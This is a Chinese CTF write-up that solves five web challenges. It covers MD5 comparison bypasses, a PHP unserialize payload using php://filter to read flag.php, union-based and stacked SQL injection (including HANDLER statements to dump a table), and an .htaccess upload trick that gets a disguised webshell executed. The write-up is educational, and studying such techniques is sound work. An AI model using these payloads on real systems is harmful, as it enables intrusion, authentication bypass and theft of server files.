目录
1.[MRCTF2020]Ez_bypass1
题目打开就是一段php代码
提示我们要以GET方式传入id和gg参数,然后对他进行强类型比较,就是id!==gg&md5(id)===md5(gg),而数组的md5都会返回NULL,我们可以利用NULL===NULL绕过,我们可以让id和gg是数组,并且给他们不同的赋值就可以满足上面的条件了,这个我们用下面的payload绕过:
?id[]=a&gg[]=b
完成第一步,下面还要以POST方式传入passwd参数,要求passwd不能为数字,且md5(passwd)==1234567,这是很明显的弱类型比较,可以令passwd是一个字符串,但字符串最前面必须是1234567,这样就可以绕过了,得到我们用下面的payload绕过:
passwd=1234567a
2.[网鼎杯 2020 青龙组]AreUSerialz 1
题目打开就是一段代码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看完代码,我们想到的应该是读取flag.php的内容,对GET方式提交的str参数进行序列化,
我们从最初的类变量开始看,$op
__destruct方法判断如果op强等于字符型的2,那么把op赋值为字符型的1,这里我们让op=2,因为int型的2和字符型的“2在强类型比较的时候是不等的,然后下面调用了process()函数
如果op弱等于字符型的1,调用write函数,弱等于字符型的2则调用read函数,我一开始就说过,我们要读取flag.php的内容,于是我们就是要进入read函数,而前面我们给op赋值为int型的2,这样在若比较的时候和字符型的2相等,这样我们就进入了read函数,我们再看看read()函数
read函数对我们传入的filename参数进行读取,file_get_contentsa函数是将我们读取的文件内容变为字符串的形式,之后赋值给res变量并输出,下面就是根据分析得出的payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";i:123;}
这里说一下,因为源码没有对content变量的引用,所以可以给它赋值也可以不赋值
用payload访问后就得到了flag.php的base64编码,解密即可:
3.[GXYCTF2019]BabySQli 1
题目打开,发现是一道sql注入题,我们直接bp看一下有哪些字符别被过滤了
bp上发现大多sql关键字都是可以用的,那么我们找一下注入点,在我们点击登录之后查看源码
根据Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567
只是一段base32编码,解密:
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
得到一段base64编码,再解密:
select * from user where username = '$name'
这就可以判断注入点在登录框的username那一栏,
我们先看看列数,
小写的order被过滤掉了,所以我们用大写代替
我们的列数只有四列,下面是这题最最重要的地方
我们开始回显点,这时候就回答题目最开始的查看源码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
下面
我们已经知道有三列,我们每一列的数据会被当作数组中的元素,数组下标从0开始,也就是说,我们构造sql语句1' union select 1,2,3#,1,2,3这三个数据会被当做数组中的三个元素,arr[0]=1,arr[1]=2,arr[2]=3,根据源码提示,我们提交的pw的md5值要和我们sql语句第三个数据(arr[2])相等,arr[1]要等于’admin‘
name=1‘ union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
其中202cb962ac59075b964b07152d234b70是123的MD5
4.[GYCTF2020]Blacklist 1
考点:sql注入,查列数
确定列数为3
当我们输入1' union select 1,2,3#时,会报错,根据报错信息我可以知道被过滤掉的字符
我们这里试着堆叠注入:
1';show tables;#
查字段
1';show columns from FlagHere;#
大佬的分析:
这里屏蔽了许多东西
这里由于rename,和alter被过滤了,这里考虑利用HANDLER语句
这里先解释一下HANDLER语句的用法
这里的HANDLER语句和select查询语句都可以在mysql中查询想要的东西
他的基本语句是
通过HANDLER tbl_name OPEN打开一张表,无返回结果。
通过HANDLER tbl_name READ FIRST获取tbl_name的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的tbl_name。
payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
5.[GXYCTF2019]BabyUpload 1
题目打开,提示文件上传
抓包看看
上传成功,访问一下,发现是这样的,这就说明 我们的木马没有被成功解析
我们在上传一个.htaccess文件,内容是
GIF89a?
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
作用是把我们的上传的jpg文件解析问php文件
把我们jpg文件重新上传
上传成功后菜刀连接即可,flag再根目录下